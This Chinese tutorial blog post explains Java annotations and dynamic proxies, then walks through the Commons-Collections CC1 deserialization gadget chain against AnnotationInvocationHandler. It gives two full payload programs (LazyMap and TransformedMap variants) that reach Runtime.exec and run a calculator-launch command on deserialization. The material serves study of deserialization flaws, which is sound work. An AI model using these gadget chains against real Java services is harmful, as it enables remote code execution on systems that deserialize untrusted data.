JF3—注解、动态代理与CC1

注解

Java使用@interface来定义注解,假设要自定义一个名为@Range的注解如下

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
public @interface Range {
    int min() default 0;
    int max() default 255;
}

在某个JavaBean应用@Range

public class Price {
    @Range(min=1, max=20)
    public String value;
}

但是此时这个注解对程序本身没有任何影响,一般我们设定@Range是希望字段值能符合范围要求,那么这段代码需要我们自己编写

void check(Price price) throws IllegalArgumentException, ReflectiveOperationException {
    for (Field field : price.getClass().getFields()) { // 遍历所有Field
        Range range = field.getAnnotation(Range.class); // 获取Field定义的@Range
        if (range != null) { // 如果该字段被@Range标记
            Object value = field.get(price); // 获取Field的值
            if (value instanceof String) { // 如果是String类型
                String s = (String) value;
                if (s.length() < range.min() || s.length() > range.max()) { // 判断值是否满足@Range的min/max
                    throw new IllegalArgumentException("Invalid field: " + field.getName());
                }
            }
        }
    }
}

注解中有一个重要的概念叫做元注解,它可以修饰其他注解,如@Target@Retention@Repeatable@Inherited等。上面的Demo中用到了前两个。后两个注解应用相对较少,@Repeatable定义注解是否可重复,@Inherited定义子类是否可继承父类定义的注解。

(1)@Target:定义这个注解可以应用在源码的哪些位置,根据源码的位置标记如下

类或接口:ElementType.TYPE;
字段:ElementType.FIELD;
方法:ElementType.METHOD;
构造方法:ElementType.CONSTRUCTOR;
方法参数:ElementType.PARAMETER。

假设要将注解@Report定义在方法或字段上,标记如下

@Target({
    ElementType.METHOD,
    ElementType.FIELD
})
public @interface Report {
    ...
}

(2)@Retention:定义注解的生命周期。分为:仅编译期RetentionPolicy.SOURCE、仅class文件RetentionPolicy.CLASS、运行期RetentionPolicy.RUNTIME。如果没有标注,则默认为.CLASS。但是一般自定义的注解都采用.RUNTIME

动态代理

Interface类型的变量是需要向上转型来创建实例的。如果想要不编写实现类直接new一个Interface就需要用到动态代理。假设接口类为Echo,类中有个call方法,其动态实现如下

InvocationHandler handler = new InvocationHandler() {
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        ...
    }
};

Echo echo = (Echo) Proxy.newProxyInstance(
    Echo.class.getClassLoader(), // 传入ClassLoader
    new Class[] { Echo.class }, // 传入要实现的接口
    handler); // 传入处理调用方法的InvocationHandler
echo.call("axisx");

所有的注解都继承自java.lang.annotation.Annotation,读取注解需要用反射,如下:

Range range=xx.class.getAnnotation(Range.class); // range的类型为$Proxy
System.out.println(range.min()); 

如果在range上打个断点,在调试过程中会执行到AnnotationParser.annotationForMap(),代码如下,完全符合上述动态代理的过程,最终得到的range也是$Proxy类型的。

    public static Annotation annotationForMap(final Class var0, final Map var1) {
        return (Annotation)AccessController.doPrivileged(new PrivilegedAction() {
            public Annotation run() {
                return (Annotation)Proxy.newProxyInstance(var0.getClassLoader(), new Class[]{var0}, new AnnotationInvocationHandler(var0, var1));
            }
        });
    }

此时用到的InvocationHandler类型为AnnotationInvocationHandler

AnnotationInvocationHandler

Range注解Demo执行到此处时,其构造函数的var1为Range注解类,var2为@Range赋值的键值对{"max":"20", "min":"1"}

另外,一般自定义注解类上都标注了@Retention(RetentionPolicy.RUNTIME),在这种情况下,构造函数的var1为Retention类,var2为@Retention的键值对{"value": {RetentionPolicy@532} }

    AnnotationInvocationHandler(Class var1, Map var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } ...
    }

InvocationHandler接口本身只有一个invoke方法,用于实现接口的具体功能。AnnotationInvocationHandler是基于注解对invoke进行实现的,上面提到所有的注解都继承自Annotation接口,Annotation接口中一共四个方法:equals()、hashCode()、toString()、annotationType()。所以对method名称的判断就包括这四种,如果名称不在这四个范围内,就以名称为key,从memberValues属性中获取对应的值。

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) { // 要求var2为无参方法
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                   ...
            }
        }
    }

CC1 LazyMap

上面AnnotationInvocationHandler.invoke(),调用了memberValues.get()方法。而memberValues是Map类型的,可以构造对LazyMap的调用。前一篇JF2中讲到Tranformer形成了命令执行的链条,后续的链条就是由LazyMap.get()进行调用,CC1和CC6的后续是一致的。那么此时的问题就是如何调用AnnotationInvocationHandler.invoke()

private final Map memberValues;

前面提到动态代理调用接口方法时,可以自动执行invoke。那么payload整体构造思路就是:(1)创建Transformer链条,赋值给LazyMap(2)反射创建一个InvocationHandler,构造函数的Map参数,即memberValues,赋值为LazyMap(3)构造函数的Map参数赋值为动态代理(这样在readObject()时,Map(Proxy).entrySet()会调用到AnnotationInvocationHandler.invoke()

        Transformer[] transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
        Map hashMap=new HashMap();
        Map map= LazyMap.decorate(hashMap,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,map);

        Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},InvocationHandler);
        InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,proxyMap);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(InvocationHandler);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

CC1 TransformedMap

另外针对AnnotationInvocationHandler还有一个链条思路,就是不走invoke,而是直接从readObject方法入手。

这里有个前置条件,CC1和CC6对于Transformer链条的衔接都用的是LazyMap,但是这个<8u71的用的是TransformedMap。二者的作用都是调用了Transformer.transform()

# LazyMap
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
# TransformedMap
    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value); // return keyTransformer.transform(object);
        return getMap().put(key, value); // valueTransformer.transform(object);
    }

但是二者对于上层的调用构造是有区别的,TransformedMap只需要构造一个map.put("xx","xx")即可触发,

AnnotationInvocationHandler.readObject()代码如下,假设上面的range实例进行反序列化,var3获取的就是Range类的属性和类型,即{"min":Integer.class,"max":Integer.class},然后对这个Map结构进行遍历

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = AnnotationType.getInstance(this.type);

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey(); // Map的key,如range的min属性
            Class var7 = (Class)var3.get(var6); // 获取min属性的类型,Integer.class
            if (var7 != null) {
                Object var8 = var5.getValue(); // 获取min的属性值,1
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

其中var5.setValue()就是往Map里写入值,实际上调用的就是map.put()。在执行到这步之前有个判断,var7!=null,也就是在注解类中必须存在var6这个key,key就是注解中定义的方法。那么我们就需要找到一个JDK自带的通用的注解类,元注解就符合这个思路。假如选取元注解中的@Retention,它有一个自带的方法value()

public @interface Retention {
    RetentionPolicy value();
}

整体payload如下,同理其中的Retention.class可以换成Target.class等元注解类

        Transformer[] transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
        Map hashMap=new HashMap();
        hashMap.put("value","axisx");

        Map map=TransformedMap.decorate(hashMap,null,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler InvocationHandler=(InvocationHandler)constructor.newInstance(Retention.class,map);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(InvocationHandler);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

但是CC1存在一个限制,只适用于Java 8u71以下版本,因为在此之后AnnotationInvocationHandler#readObject的逻辑发生了变化

你可能感兴趣的:(JF3—注解、动态代理与CC1)